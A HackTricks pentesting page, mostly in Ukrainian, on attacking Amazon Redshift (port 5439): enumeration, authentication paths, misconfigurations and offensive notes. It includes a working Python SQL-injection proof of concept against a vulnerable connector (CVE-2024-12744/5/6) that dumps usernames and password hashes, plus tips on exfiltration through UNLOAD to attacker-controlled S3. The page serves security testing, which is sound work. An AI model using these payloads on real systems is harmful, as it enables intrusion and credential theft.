5439 - Pentesting Redshift
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базова інформація
Цей порт використовується Amazon Redshift (кероване AWS сховище даних). Redshift wire protocol — це трохи змінений протокол PostgreSQL, тому більшість Postgres клієнтських інструментів працюють (psql, psycopg2, JDBC/ODBC), але auth та вимоги до TLS відрізняються.
Для додаткової інформації див.:
AWS - Redshift Enum - HackTricks Cloud
Перерахування та підключення
- Порт за замовчуванням: 5439/TCP (можна налаштувати). Serverless workgroups також за замовчуванням використовують 5439.
- Шаблон публічного endpoint:
<clusterid>.<random>.<region>.redshift.amazonaws.com(public) або.redshift.amazonaws.com.cn(Китай). Serverless:<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com. - TLS: Redshift вимагає TLS 1.2+ та шифри з perfect-forward-secrecy. Старі клієнти можуть не працювати; примусьте використання сучасного TLS:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
- Parameter group
require_sslконтролює, чи дозволено plaintext. Нові кластери/workgroups використовуютьdefault.redshift-2.0зrequire_ssl=true, тому downgrade/mitm складніше.
Швидке перерахування з psql
# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;
Помилки відрізняють неправильний пароль від відсутнього користувача → потенційна username enumeration під час brute force.
Authentication paths to test
- Database password для master-користувача (часто з ім’ям
awsuser) або створених DB користувачів. - IAM auth tokens: згенеруйте короткоживучі credentials та підключіться через libpq/JDBC/ODBC використовуючи
sslmode=requireтаauthMech=IAMабоplugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Зловживання вкраденими IAM creds/roles з еквівалентним дозволом типуrds-db:connectдля Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
- IAM Identity Center / SAML / Azure AD plugins: JDBC
plugin_nameможе запустити локальний webserver для SSO; перехоплений loopback callback може leak SAML assertion або тимчасові creds.
Common misconfigurations (network)
- Кластер позначено PubliclyAccessible=true з відкритою SG (0.0.0.0/0), що відкриває Postgres-like поверхню для brute force або SQLi.
- Default port 5439 плюс стандартний SG дозволяє просте виявлення (Shodan/Censys). Зміна порту — невелике затемнення, але іноді пропускається в чеклістах hardening.
- No enhanced VPC routing → COPY/UNLOAD йдуть через публічний Інтернет; можуть бути зловживані для exfil коли attacker контролює S3 bucket/endpoint.
Attack notes
- Якщо вхід вдається, Redshift не має superuser в serverless; у provisioned кластерах master user має широкі права, включно зі створенням UDFs (Python), external schema to Spectrum, COPY з attacker S3, та
UNLOADдля exfil даних. - Перевірте cluster parameter group на
max_concurrency_scaling_clusters,require_ssl,enable_user_activity_logging– вимкнене логування полегшує приховування. - Serverless workgroups досі доступні по TCP; та сама SQL attack surface як у provisioned clusters.
- Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 та ODBC 2.1.5.0 формують metadata запити з неквотованим ввідом користувача в
getSchemas/getTables/getColumns(CVE-2024-12744/5/6). Якщо додаток дозволяє зловмиснику контролювати аргументи catalog або pattern, ви можете інжектувати довільний SQL, який виконається від імені DB user, що використовує connector.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
- UDF execution model change: Python UDFs припинять працювати 30 June 2026; після цього дозволені лише Lambda UDFs. Офензивний вплив: застарілі provisioned кластери все ще виконують Python UDFs для in-cluster code exec (без FS/network). Lambda UDFs переміщують код у Lambda, де IAM роль може досягати Internet/VPC endpoints для SSRF/pivot, але без прямого доступу до файлової системи кластера. Полювання на старі кластери з увімкненими Python UDFs все ще може дати RCE примітиви.
Recent security changes (offense impact)
- Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
- Encryption at rest + enforced TLS by default means sniffing/mitm harder; need valid credentials or SSRF into VPC path.
- Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints created in up to 3 AZs at creation time. Discovery tools should enumerate all workgroup VPCE DNS names per AZ to find reachable IPs.
References
- AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)
- AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


